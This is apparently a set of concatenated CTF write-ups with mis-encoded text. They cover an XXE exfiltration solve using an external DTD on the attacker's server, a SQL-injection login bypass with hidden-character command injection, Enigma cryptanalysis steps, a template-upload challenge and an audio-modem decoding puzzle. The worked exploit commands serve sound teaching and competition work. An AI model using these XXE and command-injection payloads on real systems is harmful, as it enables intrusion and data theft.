%sp;%param1;]><r>&exfil;</r><user><username>admin</username></user>```curlã§æããŠããã ```bash$ curl -X POST https://typhooncon-typo.chals.io/read.php -H "UUID: 8d6ed261-f84f-4eda-b2d2-16332bd8c390" -H "Cookie: PHPSESSID=5odbobfndb0vggtj6qg4ld1ajg" -d "data=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0D%0A%3C%21DOCTYPE+r+%5B%0D%0A%3C%21ELEMENT+r+ANY+%3E%0D%0A%3C%21ENTITY+%25+sp+SYSTEM+%22http%3A%2F%2F[èªé¯IP]%2Fdtd.xml%22%3E%0D%0A%25sp%3B%0D%0A%25param1%3B%0D%0A%5D%3E%0D%0A%3Cr%3E%26exfil%3B%3C%2Fr%3E%0D%0A%3Cuser%3E%3Cusername%3Eadmin%3C%2Fusername%3E%3C%2Fuser%3E"User is not exists```ãããšä»¥äžã®ãªã¯ãšã¹ããå°éããã ```bash$ lsdtd.xml$ sudo python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...167.172.241.252 - - [22/Jun/2022 00:00:00] "GET /dtd.xml HTTP/1.0" 200 -167.172.241.252 - - [22/Jun/2022 00:00:00] "GET /dtd.xml?SSB3aXNoIGZsbGxsYWdnZ2dnIHdhcyBzcGVsbGxsbGxlZCB3aXRoIG11bHRwbGUgZ2dnZyBhbmQgbGxsbGwKU1NEezE5ZTAxNzY5ZjU2MjA3Y2I0NjIwMTczZjlhYTg3ODliYTViOWU3MWF9Cg== HTTP/1.0" 200 -$ echo "SSB3aXNoIGZsbGxsYWdnZ2dnIHdhcyBzcGVsbGxsbGxlZCB3aXRoIG11bHRwbGUgZ2dnZyBhbmQgbGxsbGwKU1NEezE5ZTAxNzY5ZjU2MjA3Y2I0NjIwMTczZjlhYTg3ODliYTViOWU3MWF9Cg==" | base64 -dI wish fllllaggggg was spelllllled with multple gggg and lllllSSD{19e01769f56207cb4620173f9aa8789ba5b9e71a}```ãã³ãŒããããšflagãåŸãããã
## SSD{19e01769f56207cb4620173f9aa8789ba5b9e71a} |
# Hidden Character:Web:200ptsIt takes one character [ ] to show you that the path to salvation And it takes a hidden character to lead you to the flag [https://typhooncon-hiddencharacter.chals.io/](https://typhooncon-hiddencharacter.chals.io/) Flag format: SSD{...}
# SolutionURLã®ã¿ãæž¡ãããã ã¢ã¯ã»ã¹ãããšãã°ã€ã³ãã©ãŒã ã®ããã ã Login Form with [password] [site1.png](site/site1.png) dirbãç¹æ®æåã§ã®ãã°ã€ã³ã詊ã¿ããææããªãã åé¡æã«æžãããŠãã[ ]ãšããŒãžã¿ã€ãã«ããã³ãã ãšèãã以äžã®ããã«é
åãPOSTããŠã¿ãã ```bash$ curl -X POST https://typhooncon-hiddencharacter.chals.io/auth -d "username=admin&password[password]=password"Incorrect Username and/or Password!$ curl -X POST https://typhooncon-hiddencharacter.chals.io/auth -d "username=admin&password[a]=password"error: Error: ER_BAD_FIELD_ERROR: Unknown column 'a' in 'where clause'````password[a]`ã§è¬ã®ãšã©ãŒãçºçããã ã«ã©ã ããããããšããããŠããã®ã§ãååšããããª`id`ã§è©Šãã ```bash$ curl -X POST https://typhooncon-hiddencharacter.chals.io/auth -d "username=admin&password[id]=passwod"Found. Redirecting to /home```ãªãããã°ã€ã³ã«æåããã åæ§ã«ãã©ãŠã¶ã®ãªã¯ãšã¹ããé
åã«ãããšããªãã€ã¬ã¯ããã以äžã®ãœãŒã¹ã³ãŒãã衚瀺ãããã /home [site2.png](site/site2.png) ãã°ã€ã³åŠçãèŠããšã[ãã](https://blog.flatt.tech/entry/node_mysql_sqlinjection)ã§è§£èª¬ãããŠããSQLiãçºçããŠããããã ã é ãæ©èœãšããŠã`/home`ã®å¿çãããã®`PortaSulRetro`ãå©ããšçé確èªãè¡ããç®æãã¿ãããã ```js~~~app.get("/home", function (request, response) { if (request.session.loggedin) { var options = { headers: { 'PortaSulRetro': portasulretro } };
response.sendFile(path.join(__dirname + "/login.js"), options); } else { response.send("Please login to view this page!"); response.end(); }});
// Check whether we can reach google.com and example.comapp.get(`/${portasulretro}`, async (req, res) => { const { timeout,ã
€} = req.query; const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ã
€ ];
try { const outcomes = await Promise.all(checkCommands.map(cmd => cmd && exec(cmd, { timeout: +timeout || 5_000 })));
res.status(200).contentType('text/plain');
var outcomeStdout = ''; for(i = 0; outcome = outcomes[i]; i ++) { outcomeStdout += `"${checkCommands[i]}": `; outcomeStdout += "\n\n"; outcomeStdout += outcome.stdout.trim(); outcomeStdout += "\n\n"; }; res.send(`outcome ok:\n${outcomeStdout}`); } catch(e) { res.status(500); res.send(`outcome failed: ${e}`); }});~~~```OSã³ãã³ããå®è¡ããŠããããè匱æ§ãããããã ã æ³šææ·±ãèŠããš`const { timeout,ã
€} = req.query;`ãäžèªç¶ãªæåãå«ãã§ããããšããããã ä»ã«åçš®ã®æåãæ¢ããšã`'curl -s http://example.com/',ã
€`ã®è¡æ«éšåã«ãã¿ãããã JavaScriptã¯å€æ°ãšããŠASCII以å€ãæå®ã§ããä»åã¯ãã®äžèªç¶ãªæåã倿°ãšããŠæ±ãããŠããã ãã®éšåã¯`exec`ã§å®è¡ããããããã³ãã³ããæå®ããŠããããšã§ä»»æã®æäœãè¡ããããšãšãªãã äžèªç¶ãªæåãããŒã»ã³ããšã³ã³ãŒãã£ã³ã°ãããš`%E3%85%A4`ãšãªã£ãã®ã§ã以äžã®ããã«é ã远ã£ãŠã¯ãšãªããOSã³ãã³ããå®è¡ããã åãã«ãã°ã€ã³ããé ãæ©èœã®ãã¹ãååŸããã ```bash$ curl -X POST https://typhooncon-hiddencharacter.chals.io/auth -d "username=admin&password[id]=psasswod" -v~~~< Set-Cookie: connect.sid=s%3AdoQGC_FVzNhVZys6b49p_Jnd__UyU_5-.W2C1Ig%2Fj0Ja4zX61iI9gb0T7KTuyHMEO0xkAAxdDhCk; Path=/; HttpOnly~~~$ curl https://typhooncon-hiddencharacter.chals.io/home -H "Cookie: connect.sid=s%3AdoQGC_FVzNhVZys6b49p_Jnd__UyU_5-.W2C1Ig%2Fj0Ja4zX61iI9gb0T7KTuyHMEO0xkAAxdDhCk" -v~~~< PortaSulRetro: 0e0412857621a454~~~```ã¯ãšãªã`?%E3%85%A4=cmd`ãšãã倿°ã«å®è¡ãããã³ãã³ããäžããã ```bash$ curl https://typhooncon-hiddencharacter.chals.io/0e0412857621a454?%E3%85%A4=ls -H "Cookie: connect.sid=s%3AdoQGC_FVzNhVZys6b49p_Jnd__UyU_5-.W2C1Ig%2Fj0Ja4zX61iI9gb0T7KTuyHMEO0xkAAxdDhCk"~~~"ls":
Dockerfileflaglogin.htmllogin.jslogin.sqlnode_modulespackage-lock.jsonpackage.jsonrun.sh
$ curl https://typhooncon-hiddencharacter.chals.io/0e0412857621a454?%E3%85%A4=cat%20flag -H "Cookie: connect.sid=s%3AdoQGC_FVzNhVZys6b49p_Jnd__UyU_5-.W2C1Ig%2Fj0Ja4zX61iI9gb0T7KTuyHMEO0xkAAxdDhCk"~~~"cat flag":
SSD{bfee01bf8ca5f1766fb91b3b4a0533614da92beb}
```ãã¡ã€ã«ããflagãèªã¿åããã
## SSD{bfee01bf8ca5f1766fb91b3b4a0533614da92beb} |
Variante del método *'Ciphertext-only cryptanalysis of Enigma'* propuesto por James Gillogly.
1.- Obtener el Ãndice de coincidencia (IC) mayor del descifrado del criptograma para todos los posibles órdenes de los rotores y, dentro de cada uno de ellos, todas las posiciones iniciales de cada rotor, fijando el ajuste de los anillos que se proporciona en el reto para cada rotor a utilizar en el descifrado y con el tablero de conexiones sin ningún conector puesto.
2.- Con los parámetros de configuración de la máquina hallados en el punto anterior, obtener los mejores resultados (IC's mayores) para el descifrado del criptograma objeto de análisis, de forma separada, con cada uno de los pares de letras posibles que pueden ser conectadas entre sà en el tablero de conexiones. Es decir, primero con: A - B, después con A - C,..., y finalmente con Y - Z. |
# Billboard Mayhemeasy | web | 100 points
## DescriptionThe AI is showing off its neural network all over the city by taking over the billboards. Can you take back control and discover what the AI left behind?
## First Impressions
The website displays a billboard containing an image.

## Solution
### [10 points] Find the upload formThe AI has hidden our upload form. Can you find the upload form?
In an attempt to check the source code, I hovered the mouse over the billboard, and saw the flag!

Flag: `CTF{e8a63b628756eb0023899b3a7f60825c}`
### [90 points] Billboard ControlOur development team has picked up that the AI has included their own secret code to our environment variables. Can you upload a new advertisement that displays these values? (Always remember to be smarty with your payload!)
The other side of the billboard contains a link to upload an advertisement. What we upload will then be displayed in place of the image. The advertisement has to be in TPL format, which is a format I hadn't heard of before. After a quick search, I found out that its a PHP template file, in which one can place variables that can be parsed different depending on the content of the variable[^1]. This website also had a sample TPL file, so I used the same and tweaked it a bit for this challenge.
**[advertisement.tpl](src/bm-2-advertisement.tpl)**```tpl<html> <head> <title>Info</title> </head> <body> {$flag} </body></html>```
On uploading the file, the billboard now displayed the flag for the challenge!

Flag: `CTF{c72edca19622b230bdfb4bfae250dbc8}`
[^1]: From https://www.geeksforgeeks.org/what-is-tpl-file-in-php-web-design/ |
## Intro
This is the challenge entitled "FFSK" from[Azure Assassin Alliance CTF 2022](https://ctftime.org/event/1682).
The given description is as follows:
> Iâve bought the second commercial modem for computers in a big city of the UK.> > æ¿æ
æŸæ¹ççè¿·è¿·æè¿äžªå°æ¹ãéäžçèµå£ïŒé
å§éççæ
ãååãå€é
ãææ»ïŒè¶³ç> > 让è¿äžªååžå
满掻åååžæã> > ä»äžäžè±å°ºçäºç«¯æå»ïŒåŸæ¥ççæŽ»æäºäžäžªé¥è¿åŸ®å°çå°åŸã> > é³å
æåªçæ¥åïŒåŒå§åºåïŒå京æ¶éŽ00:50 åŒå§èµ·é£ïŒäžäžªæ¢Šçè·çŠ»ïŒå°±å¯ä»¥å°èŸŸè·> > å
°é¿å§æ¯ç¹äž¹ïŒçæåçä¹åïŒç¶å蜬æºé£åŸè±åœ> > åèªç飿ºé
眮å®å€ïŒå
šçšå¯ä»¥å
çµïŒè¿æwifiïŒåœ±è§å±æé¢åææ°ççµåœ±ãç¡ç¡éé> > ïŒåšé£æºäžè§
å°äžéšãåäº¬ç±æ
æ
äºãïŒè®©æåšäžäžè±å°ºç空äžåççšéååŠã
A `modem.wav` file is provided. As the name suggests, it's a WAV file thatsounds like modem communication, and presumably is a signal of some sort.
During the competition, it was solved by exactly one team - us!
## First off, some meta musing stuff
If you're boring enough (like me) to have done a bunch of escape rooms, puzzlehunts, and the like, you'll eventually get an idea of what a "good challenge"is. In my opinion, the important things:1. You shouldn't have to guess (that much).1. You should know when you're making progress.1. Red herrings are generally bad.1. If you use something to make progress, you shouldn't have to use it again.
Usually, this isn't too relevant for a CTF - you only need to figure out oneexploit or two to get a flag - but this challenge gave the impression thatthere'd be many more than two steps required for a solution. So it's useful tothink of this like an escape room, where we have an inventory of items, andeach item will serve exactly one purpose to make progress in the challenge.
## Building an inventory
I can read maybe a couple Chinese characters, but thankfully \[insert searchengine of choice\] does a much better job. Eventually I found a blog post withidentical text, and it described a trip to *Manchester*, which happens to be abig city in the UK.
Searching for "the second commercial modem for computers" leads to the Wikipediapage for the *Bell 103 modem*. This excerpt will be relevant:
> The Bell 103 modem used audio frequency-shift keying to encode data. Different> pairs of audio frequencies were used by each station:> * The originating station used a mark tone of 1,270 Hz and a space tone of 1,070 Hz.> * The answering station used a mark tone of 2,225 Hz and a space tone of 2,025 Hz.
And the challenge itself is named "FFSK", which evidently stands for *fastfrequency-shift keying*. There aren't too many details on the "fast" part, butthe other words certainly line up.
Thus, we've used up the challenge name and description, and in return, we've gota fairly good hunch that the given WAV file uses FSK to encode data, and it'susing the frequencies used by the Bell 103. And something to do with Manchester?
To convince ourselves of this, we can ~~write~~ copy Stack Overflow code tocompute the power spectrum of the given signal:

Those four peaks correspond to 1070, 1270, 2025, and 2225 Hz - the frequenciesused by the Bell 103. So we're on the right track!
## Standing on the shoulders of amateur radio operators
[Here's](https://github.com/kamalmostafa/minimodem) a fantastic program whichwill be incredibly useful throughout this challenge.
It even comes with built-in presets for the Bell 103, so we run it and get...```$ minimodem --rx --file modem.wav 300### CARRIER 300 @ 1250.0 Hz ###Uᅵᅵ`fᅵfMᅵᅵßᅵᅵifᅵYᅵᅵᅵᅵZiᅵ/jᅵKxY3ᅵᅵZᅵiᅵjZᅵ~ᅵ5ᅵ8fᅵc ᅵᅵeV#ᅵEǪᅵᅵUᅵ+ᅵ5ᅵᅵÛᅵYUᅵᅵZbᅵᅵᅵUifYᅵᅵf+ᅵᅵᅵᅵYᅵᅵeᅵØjᅵYᅵᅵᅵᅵᅵ0ZᅵᅵUᅵᅵᅵᅵ{ᅵᅵᅵUᅵᅵ-fᅵeᅵᅵᅵᅵᅵYÙîᅵjᅵ0ᅵVib5KᅵᅵbMᅵ?ᅵsᅵᅵᅵᅵᅵᅵ-إᅵᅵ~ßefbfac+ᅵᅵZsᅵөᅵifᅵᅵØfᅵffᅵ`Vᅵᅵᅵ^Vᅵᅵzᅵ5ᅵeᅵ3ᅵMᅵᅵoᅵçŠï¿œï¿œï¿œï¿œ{ᅵᅵÃᅵeÎeᅵᅵZUMVᅵiᅵᅵ `eᅵVᅵᅵUgÈ©iᅵᅵuᅵᅵZᅵiᅵ3MK+Knᅵ;ᅵeK- +ᅵeᅵᅵYᅵᅵᅵᅵiifᅵᅵcᅵᅵᅵjᅵᅵlᅵᅵᅵᅵᅵMᅵȧᅵ?KZfᅵ;ᅵcVᅵᅵkᅵKᅵ~33ᅵᅵjà iᅵᅵᅵÈᅵZ~MÎnUjᅵeYSᅵcᅵÛ5î'ᅵᅵᅵᅵYᅵÃ@3?=ᅵᅵᅵᅵSᅵᅵhᅵᅵᅵUᅵᅵᅵᅵᅵᅵᅵߥإᅵᅵᅵᅵ~ᅵZYᅵᅵᅵᅵᅵegZVL`ᅵᅵjZKᅵiᅵ~{-SeᅵᅵᅵᅵᅵᅵjᅵᅵsᅵᅵSSSSᅵjᅵᅵᅵfᅵØï¿œjYϩᅵ]ᅵZUKᅵᅵi;ᅵᅵjᅵᅵᅵn~?ᅵYM-jᅵᅵᅵYiᅵiᅵᅵnYlᅵ-Kᅵ^ᅵᅵ3KᅵZᅵᅵᅵᅵeᅵᅵÃZᅵ+ᅵᅵeᅵᅵᅵᅵᅵeoᅵᅵfv ᅵᅵᅵᅵ+V[#ᅵᅵᅵᅵZᅵᅵjiᅵᅵᅵᅵUMᅵᅵᅵᅵbᅵᅵrᅵᅵᅵᅵiᅵSUᅵ5#jffnᅵᅵᅵÖᅵ3ᅵYm#iKSᅵUjᅵef-ᅵᅵsᅵᅵᅵLᅵᅵUeᅵᅵXᅵᅵUᅵj@ᅵᅵᅵᅵᅵᅵKMMÃᅵSYᅵᅵniZjᅵ`MiᅵᅵzᅵᅵKUK,ᅵfᅵᅵnᅵcSᅵYᅵᅵKäŠï¿œï¿œï¿œï¿œï¿œjYebᅵ-ᅵ[ᅵᅵ#MK+ÃᅵᅵᅵᅵfnUVᅵeᅵᅵᅵYeᅵMiᅵᅵ#تᅵ?ᅵᅵᅵᅵ۩ᅵ~`ifᅵsffᅵᅵcᅵeMUᅵᅵeUᅵ;Zᅵᅵᅵ5fZiᅵ+UᅵᅵMᅵiï¿œï¿œàŸŠï¿œï¿œï¿œnYiᅵᅵjᅵᅵᅵᅵᅵîØï¿œï¿œï¿œï¿œ=ᅵᅵÛSᅵᅵie#ᅵᅵᅵᅵᅵUSᅵVᅵiᅵᅵᅵeᅵjᅵ;k5ᅵnjᅵ۩ᅵ{ᅵᅵe3ᅵᅵᅵkᅵifᅵᅵᅵbVᅵᅵᅵgeÛᅵᅵUS SᅵnᅵU+ᅵᅵᅵeᅵᅵᅵc;Äᅵᅵiᅵbs-ᅵ-+3### NOCARRIER ndata=955 confidence=1.863 ampl=0.140 bps=298.50 (0.5% slow) ###
[further results snipped as they're much the same...]```
Hmm. It looks like it confidently decoded a bunch of garbage. The output alsoshows that it interpreted the signal using 1250 Hz, though - examining the[minimodem source](https://github.com/kamalmostafa/minimodem/blob/bb2f34cf5148f101563aa926e201d306edbacbd3/src/minimodem.c#L913)shows that it uses the 1270/1070 Hz pairing by default, so the program must haveshifted the frequency slightly to better match the data. We haven't used theother pairing of 2225/2025 Hz though. What does that give?
```$ minimodem --rx -M 2225 -S 2025 --file modem.wav 300### CARRIER 300 @ 2250.0 Hz ###ᅵᅵᅵᅵᅵ:HIT_Hammin'@d$ddPdddddddPddddPP(28).CCode; C'nWᅵᅵ; Why do you use such aslow method with a high Bit Error Ratio for communication? It took me a lot ofeffort to correct bit-flips, making sure the communication was lesserror-prone...that is 2 say, THE ORIGINAL PROTOCL IS WRAPPED BY SOME OTERTRANSFORMATION! Fortunately, we can now communicate properly on another channelwhile enjoying a vacation in this BG CITY--I mean, IEEE 80r.3.....Wait, what isthe new protocol? Guess by yourself!### NOCARRIER ndata=503 confidence=2.049 ampl=0.148 bps=300.02 (0.0% fast) ###```
This looks way better! The start of the message is kind of garbled (andunfortunately, ignoring it will prove problematic later on...), but everythingelse is parseable. Another reference is made to a "big city", and combined withthe "IEEE 80r.3" leads to[Manchester code](https://en.wikipedia.org/wiki/Manchester_code#Conventions_for_representation_of_data),specifically the IEEE 802.3 convention.
OK, so let's do a quick inventory check:* ~~Challenge title and description~~ Used to determine we're playing with Bell 103, FSK, and Manchester code* ~~2225/2025 Hz decoding of signal~~ Used to find message stating that the other decoding uses Manchester code* 1270/1070 Hz decoding of signal* "Hammin"...something?
We don't know what the last thing is, so the other thing seems good to work onnow that we can guess that the initial decoding was garbage because it requiredan additional Manchester-decoding step.
Reversing the Manchester code is simple enough - a falling edge (1 followed by 0)is a 0, and a rising edge (0 followed by 1) is a 1. Notably, there shouldnever be three consecutive 0s or 1s in the signal.
## Oh say can you C
Fortunately (unfortunately?), minimodem is written in C and is fairly easily tobuild from source, so I spent a few hours trying to decipher and add to thecode. I ended up realizing that instead of attempting to be clever and join bitstogether, it was a lot easier to read the entire signal in and calculate eachbit in one pass, and ran the following snippet:
```c// in minimodem.c:// make the buffer large enough to read the entire signal in one gosamplebuf_size = 40000000;
// in fsk.c:// code to manually read all bitsfor (int i = 0; i < 107280; i++) { memcpy(fskp->fftin, samples+ (i*bit_nsamples), bit_nsamples * sizeof(float)); fftwf_execute(fskp->fftplan); float mag_mark = band_mag(fskp->fftout, fskp->b_mark, magscalar); float mag_space = band_mag(fskp->fftout, fskp->b_space, magscalar); // mark==1, space==0 debug_log("%d", (mag_mark>mag_space));}// no need to do anything else in this runexit(0);```
This gave a bit string that miraculously had no instances of three 0s or 1s in arow, so Manchester decoding worked and gave a string of 107280/2 = 53640 bits.
In retrospect, all this code does is break up the initial signal of 17164800samples into 107280 sections, and determine whether each section looked morelike a 1270 Hz (mark) signal, or a 1070 Hz (space) signal. It would've been muchsimpler to write a Python script, but...too late.
## Quick maths break
There are a lot of magic numbers here, but everything actually divides verynicely, so props to the challenge author for making it so.
The initial signal contains 17164800 samples of a single audio channel at 48000Hz. The Bell 103 uses a baud rate of 300, which means that 160 samples should beused to decode each bit. Thus, there are 17164800/160 = 107280 bits to bedecoded, which is conveniently an even number so Manchester decoding works withno problems.
As stated previously, a Good Challenge should minimize guessing and give goodindicators of progress, so when things seem to work out in a coincidence, it'slikely very intentional.
## OK, now what?
At this point, I tried feeding the 53640-bit string back into minimodem'sdecoding algorithm with little success. Thankfully, I only ended up wasting afew hours (only), because the organizers released a few hints:
1. `ææäººéœè®€äžºïŒåéž¡èåïŒåå§çæ¹æ³æ¯æç Žéž¡èèŸå€§çäžç«¯ã坿¯åœä»çåžçç¥ç¶ æ¶ååéž¡èïŒäžæ¬¡æå€æ³æéž¡èæ¶ç¢°å·§å°äžäžªææåŒç ŽäºïŒå æ€ä»çç¶äº²ïŒåœæ¶ççåžïŒ å°±äžäºäžéæä»€ïŒåœä»€å
šäœè£æ°åéž¡èæ¶æç Žéž¡èèŸå°çäžç«¯ïŒè¿ä»€è
éçœã èçŸå§ä»¬ 对è¿é¡¹åœä»€æäžºåæãåå²åè¯æä»¬ïŒç±æ€æŸåçè¿å
次åä¹±ïŒå
¶äžäžäžªçåžéäºåœïŒåŠ äžäžªäž¢äºçäœâŠå
³äºè¿äžäºç«¯ïŒæŸåºçè¿å çŸæ¬å€§éšèäœïŒäžè¿å€§ç«¯æŽŸç乊äžçŽæ¯åçŠç ïŒæ³åŸä¹è§å®è¯¥æŽŸçä»»äœäººäžåŸåå®ã ââä¹çº³æ£®Â·æ¯åšå€«ç¹ïŒãæ Œåäœæžžè®°ã`1. `Hamming code block size: 20bits`1. `Bell 103`
The third hint is useless, since we've already used that information. The firsthint is a Gulliver's Travels quote that mentions "Big Endian", which is the onlyremotely relevant term in the quote. And the second hint...let's go back to ourinventory:
* ~~Challenge title and description~~* ~~2225/2025 Hz decoding of signal~~* ~~1270/1070 Hz decoding of signal~~ Used to create bit string that was then Manchester-decoded* A string of 53640 bits* "Big Endian"* *"Hammin"...something?** *Hamming code block size: 20 bits??*
Imagine a very loud slap - that was me bringing my palm and forehead togetherafter realizing the "garbled" part of the first signal decoding was probablynot actually meant to be garbled. Playing around with some of the minimodemarguments (namely `-c` and `-l`) gave a very slightly different, but very muchmore useful message:
```ᅵᅵᅵᅵᅵrHINT_Hamming@ddddPdddddddPdddPdPP(20).ECCode; Content: Why do you use sucha slow method with a high Bit Error Ratio for communication? It took me a lot ofeffort to correct bit-flips, making sure the communication was lesserror-prone...that is 2 say, THE ORIGINAL PROTOCOL IS WRAPPED BY SOME OTHERTRANSFORMATIONS! Fortunately, we can now communicate properly on another channelwhile enjoying a vacation in this BIG CITY--I mean, IEEE 802.3.....Wait, what isthe new protocol? Guess by yourself!```
The message itself is cleaned up a bit, and notably "TRANSFORMATION" in theoriginal decoding became plural form, but the beginning of the message nowclearly references [Hamming code](https://en.wikipedia.org/wiki/Hamming_code),giving a mapping of which bits are used for parity checking and which bits areused for data.
## Hamming it up
The math again works out perfectly: we can split 53640 bits perfectly intoblocks of 20 bits.
Conveniently, the Wikipedia article uses 20-bit blocks as an example, so theprocedure I followed here was:1. Read the Wikipedia article.1. Give up.1. Copy the first search engine result for Hamming code implementation.
This surprisingly worked out, albeit with some missteps where I thought that the"big endian" clue was supposed to be used here. Once I got the code working, acouple clues that I was on the right path revealed themselves:1. Every block of 20 bits had a single bit error.1. And all of the error indices were between 1 and 20, which isn't guaranteed since 5 parity bits could indicate an error between indices 1 and 32.
Applying the error correction and removing the parity bits results in a newstring of 40320 bits. We just have this and the "Big Endian" hint left in ourinventory...
## Fixed-width fonts FTW
This step happened mostly by accident. I printed out the resulting string fromthe previous step in a Python shell, and here's what part of it looked like:

It's much less obvious without being able to scroll up and down, but:* the leftmost column is entirely 1s;* the second-leftmost column is entirely 0s;* the 10th-leftmost column is entirely 0s;
and this pattern *repeats* with a period of 10 columns. This was incrediblylucky, as my terminal happened to be 190 columns wide.
If this hadn't happened, I might've lucked out by resizing my terminal windowand noticing the identical columns. Failing that, I (hopefully) would'verealized that there was another thing left in the inventory: the actual FSKdecoding of the signal that we'd left behind many steps ago. The convention fora single ASCII character is 1 stop bit, followed by 8 ASCII character bits,followed by 1 stop bit. The MSB should always be 0, and the start and stop bitshappen to be identical, even though they don't have to be, so this all indicatesthat we're looking at padded ASCII characters.
This is also where the "Big Endian" hint finally reveals its use - kind of: itgot me careful to check endianness of the ASCII characters, so I had to reversethe bit order to parse them correctly. Which means that they were little-endian,but in any case they decoded to sane-looking characters. (Also, yet again,the string of 40320 bits evenly divided into blocks of 10 bits.)
## The final steps
The sane-looking characters in question were:``` data:image/png;base64,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